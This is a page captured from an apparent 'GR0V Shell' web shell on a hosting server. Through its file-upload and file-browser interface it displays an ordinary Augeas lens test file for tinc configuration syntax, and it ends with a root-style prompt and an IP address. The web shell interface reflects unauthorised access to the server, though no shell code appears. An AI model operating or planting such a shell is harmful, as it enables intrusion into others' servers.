? GR0V Shell

GR0V shell

Linux server122.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64

Path : /opt/puppetlabs/puppet/share/augeas/lenses/dist/tests/
File Upload :
Current File : //opt/puppetlabs/puppet/share/augeas/lenses/dist/tests/test_tinc.aug

module Test_tinc =

let lns = Tinc.lns

test lns get "Subnet = 10.1.4.5\n" = { "Subnet" = "10.1.4.5" }
test lns get "foo = bar\n" = { "foo" = "bar" }
test lns get "foo bar\n" = { "foo" = "bar" }
test lns get "foo  bar\n" = { "foo" = "bar" }

test lns get
"-----BEGIN RSA PUBLIC KEY-----
abcde
-----END RSA PUBLIC KEY-----" = { "#key" = "abcde" }

test lns get "foo = bar\nbar = baz\n" =
  { "foo" = "bar" }
  { "bar" = "baz" }

test lns get
"foo = bar

-----BEGIN RSA PUBLIC KEY-----
bar
-----END RSA PUBLIC KEY-----" =
  { "foo" = "bar" }
  {  }
  { "#key" = "bar" }


(*
test lns get
"-----BEGIN RSA PUBLIC KEY-----
foo
-----END RSA PUBLIC KEY-----

-----BEGIN RSA PUBLIC KEY-----
bar
-----END RSA PUBLIC KEY-----
" = ?
*)

T1KUS90T
  root-grov@198.54.114.191:~$